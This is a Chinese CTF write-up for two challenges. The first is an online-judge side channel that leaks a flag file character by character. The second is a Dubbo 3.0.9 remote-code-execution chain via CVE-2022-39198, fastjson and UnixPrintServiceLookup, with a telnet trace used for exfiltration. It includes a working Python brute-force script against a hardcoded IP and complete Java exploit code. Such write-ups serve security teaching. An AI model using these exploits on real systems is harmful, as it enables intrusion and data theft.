PS: 本次比赛题目质量很高,主办方蛮用心的。

online_judge

题目提供了一个简易的类似于ACM/ICPC竞赛的OJ环境,有一经典的示例题目A+B,通过HTTP API的形式提交代码,经评测后,返回评测结果。
后端评测使用了青岛大学的开源OnlineJudge:
评测调度:https://github.com/QingdaoU/JudgeServer
评测核心:https://github.com/QingdaoU/Judger
flag在JudgeServer的容器实例/flag/flag文件中。

通过查看Judger工程,实际上评测核心基于seccomp框架来过滤syscall,在C++语言代码对应的seccomp相关代码中,可以发现实际上read和open函数并没有被过滤,也就是说实际上用户的C++代码,是可以打开并读取文件的。

https://github.com/QingdaoU/Judger/blob/newnew/src/rules/c_cpp.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <seccomp.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdbool.h>

#include "../runner.h"


int _c_cpp_seccomp_rules(struct config *_config, bool allow_write_file) {
int syscalls_whitelist[] = {SCMP_SYS(read), SCMP_SYS(fstat), /* line 12,此处read为白名单 */
SCMP_SYS(mmap), SCMP_SYS(mprotect),
...

if (!allow_write_file) { /* line38开始,实际上两种模式,open系统调用都允许使用,只是权限上有区别 */
// do not allow "w" and "rw"
if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 1, SCMP_CMP(1, SCMP_CMP_MASKED_EQ, O_WRONLY | O_RDWR, 0)) != 0) {
return LOAD_SECCOMP_FAILED;
}
if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 1, SCMP_CMP(2, SCMP_CMP_MASKED_EQ, O_WRONLY | O_RDWR, 0)) != 0) {
return LOAD_SECCOMP_FAILED;
}
} else {
if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0) != 0) {
return LOAD_SECCOMP_FAILED;
}
if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(dup), 0) != 0) {
return LOAD_SECCOMP_FAILED;
}
if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(dup2), 0) != 0) {
return LOAD_SECCOMP_FAILED;
}
if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(dup3), 0) != 0) {
return LOAD_SECCOMP_FAILED;
}
}

因此,通过提交评测代码,可以读flag的内容;通过返回A+B例题的正确与错误结果,可以得到两种不同的评测结果。结合起来,即可以通过不断提交不同的评测代码,逐位枚举flag的方式来得到flag串。
例如,下面的代码,如果flag第一位为e,则会评测正确,否则错误:

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
int main() {
int a, b;
FILE *f = fopen("/flag/flag", "r");
char str[100];
fgets(str, 100, f);
if (str[0] == 'e') printf("3\n", str);
fclose(f);
return 0;
}

我们可以通过枚举str[i]和其可能的值,来枚举出所有的flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/python3
import os
import sys
import requests
import string

host,port = '47.104.129.38',10101
base_url = f'http://{host}:{port}'
token_url = f'{base_url}/getToken'
judge_url = f'{base_url}/judge'

def getToken():
result = requests.post(token_url).json()
assert not result['error'], "System error"
return result['data']['token']

def judge(chall:str, src:str, language:str = 'C'):
data = {
'src': src,
'language': language,
'action': chall,
'token': token,
}
result = requests.post(judge_url, json = data).json()
return result

token = getToken()
table = 'abcdeflg' + string.digits + r'{}'
res = ''
for i in range(40):
for j in table:
c_src = """
#include <stdio.h>
int main(){
int a, b;
FILE *f = fopen("/flag/flag", "r");
char str[100];
fgets(str, 100, f);
if (str[%d] == '%s') printf("3\\n", str);
fclose(f);
return 0;
}
""" % (i, j)
r = judge('test', c_src)
if 'SUCCESS' == r['data']:
res += j
print(res)
break
else:
break
print(res)

dubboapp

偏门走道狗屎运拿了一血的WEB题。挺有意思的。
服务端提供了一个Dubbo服务的监听端口,版本为Dubbo3.0.9。
本题的容器是不出网的。

怎么RCE?

结合最新的CVE-2022-39198漏洞信息,sun.print.UnixPrintServiceLookup类可以提供RCE效果。同时,dubbo provider中的服务实现类代码自带了隐式toString()效果(将Object类型强制类型转换成String会隐式调用toString),项目又自带fastJSON依赖库:

1
2
3
4
5
public class DemoServiceImpl implements DemoService {
public String sayHello(Object name) {
return "hi " + name;
}
}

因此,可以使用sayHello -> fastjson getter -> UnixPrintServiceLookup利用链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.alibaba.fastjson.JSONObject;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import sun.misc.Unsafe;
import sun.print.UnixPrintServiceLookup;
import java.lang.reflect.Field;
import static org.apache.dubbo.common.utils.FieldUtils.setFieldValue;

public class BasicConsumer {
public static void main(String[] args) throws Exception {
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/dubbo-demo-consumer.xml");
context.start();
DemoService demoService = (DemoService) context.getBean("demoService");

String cmd = "id";
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
Object unixPrintServiceLookup = unsafe.allocateInstance(UnixPrintServiceLookup.class);
setFieldValue(unixPrintServiceLookup, "cmdIndex", 0);
setFieldValue(unixPrintServiceLookup, "osname", "xx");
setFieldValue(unixPrintServiceLookup, "lpcFirstCom", new String[]{cmd, cmd, cmd});
JSONObject jsonObject = new JSONObject();
jsonObject.put("xx", unixPrintServiceLookup);
String hello = demoService.sayHello(jsonObject);
System.out.println(hello);
}
}

注:Windows下的JDK里,是没有UnixPrintServiceLookup这个类的。怎么办?自己写个简单的只有成员变量的就行了。。(反正你只是用来序列化呀)

怎么出网?

一个小知识,Dubbo Provider的服务端口除了可接收正常的通讯报文外,为了方便开发者,其实还提供了telnet接口供人工干预,具体见文档:https://cn.dubbo.apache.org/zh/docs/references/telnet/

PS:似乎新版本还增加了个QOS功能:https://cn.dubbo.apache.org/zh/docs3-v2/java-sdk/reference-manual/qos/overview/

脑洞一下,里面有没有可以夹带数据出来的功能?
还真有,trace命令可以用来跟踪dubbo rpc的调用情况,有请求调用时,会在telnet中打印出请求参数和响应数据。
那么,直接通过RCE,往服务器上丢一个我们写的dubbo consumer,功能为读取flag,并以此为函数参数,调用provider即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import org.apache.dubbo.config.ApplicationConfig;
import org.apache.dubbo.config.ReferenceConfig;
import org.apache.dubbo.config.RegistryConfig;
import java.io.*;
import java.nio.charset.StandardCharsets;

public class Main {
public static void main(String[] args) throws IOException {
ReferenceConfig<DemoService> reference = new ReferenceConfig<DemoService>();
reference.setApplication(new ApplicationConfig("dubbo-demo-api-consumer"));
reference.setRegistry(new RegistryConfig("multicast://224.5.6.7:1234"));
reference.setInterface(DemoService.class);
reference.setUrl("dubbo://127.0.0.1:20880");
DemoService service = reference.get();
String content = "";
StringBuilder builder = new StringBuilder();
File file = new File("/flag");
InputStreamReader streamReader = new InputStreamReader(new FileInputStream(file), StandardCharsets.UTF_8);
BufferedReader bufferedReader = new BufferedReader(streamReader);
while ((content = bufferedReader.readLine()) != null)
builder.append(content);
String message = service.sayHello(builder.toString());
System.out.println(message);
}
}

RCE第一轮将你自己写的dubbo consumer的jar投递过去后,RCE第二轮将jar跑起来就行。

1
/dubbo/java/jdk1.8.0_202/bin/java -jar /dubbo/java/target/exp.jar

注意你自己写的jar里MANIFEST.MF中包的路径不要搞错了,要不会缺依赖包(也可以直接拷题目给的附件中的,也可以执行的命令行里指定classpath):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Manifest-Version: 1.0
Main-Class: Main
Class-Path: . lib/spring-core-4.3.7.RELEASE.jar lib/commons-logging-1.
2.jar lib/spring-beans-4.3.7.RELEASE.jar lib/spring-context-4.3.7.REL
EASE.jar lib/spring-aop-4.3.7.RELEASE.jar lib/spring-expression-4.3.7
.RELEASE.jar lib/dubbo-3.0.9.jar lib/spring-context-support-1.0.8.jar
lib/javassist-3.28.0-GA.jar lib/netty-all-4.1.56.Final.jar lib/gson-
2.8.9.jar lib/snakeyaml-1.29.jar lib/fastjson-1.2.83.jar lib/datanucl
eus-core-5.2.7.jar lib/datanucleus-rdbms-2.2.4.jar lib/curator-framew
ork-4.0.1.jar lib/curator-client-4.0.1.jar lib/curator-recipes-2.8.0.
jar lib/zookeeper-3.4.6.jar lib/log4j-1.2.16.jar lib/jline-0.9.94.jar
lib/netty-3.7.0.Final.jar lib/guava-16.0.1.jar lib/curator-x-discove
ry-5.2.1.jar lib/jackson-databind-2.10.0.jar lib/jackson-annotations-
2.10.0.jar lib/jackson-core-2.10.0.jar lib/slf4j-simple-1.7.25.jar li
b/slf4j-api-1.7.25.jar

最终trace的效果如下:
dubbo_trace